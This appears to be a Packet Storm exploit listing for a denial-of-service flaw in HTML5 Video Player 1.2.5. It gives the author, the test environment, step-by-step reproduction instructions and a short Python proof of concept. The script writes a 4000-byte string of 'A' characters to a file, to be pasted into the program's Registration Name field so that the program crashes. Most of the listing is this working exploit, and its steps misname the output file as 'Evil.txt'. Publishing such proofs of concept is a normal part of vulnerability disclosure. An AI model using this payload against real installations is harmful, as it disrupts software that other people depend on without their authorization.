HTML5 Video Player 1.2.5 Denial Of Service

HTML5 Video Player version 1.2.5 suffers from a denial of service vulnerability.

MD5 | b3eca2a95df85274f07e1ccfa282ef68

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# Exploit Title: HTML5 Video Player 1.2.5 - Denial of Service (PoC)
# Date: 2018-09-07
# Exploit Author: T3jv1l
# Vendor Homepage: http://www.html5videoplayer.net/download.html
# Software: http://www.html5videoplayer.net/html5videoplayer-setup.exe
# Contact: https://twitter.com/T3jv1l
# Version: HTML5 Video Player V.1.2.5
# Tested on: Windows 7 SP1 x86
 
# PoC:
# 1.  Download and install the setup file
# 2.  A file "Evil.txt" will be created
# 3.  Click Help > Register... in tool bar
# 4.  Copy the contents of the file (poc.txt) and paste in the Registration Name field 
# 5.  Click Activate and BOOMMMM !!!! 
 
#!/usr/bin/python
 
buffer = "\x41" * 4000
payload = buffer
try:
    f=open("poc.txt","w")
    print "[+] Creating %s bytes payload..." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"

Source: packetstormsecurity.com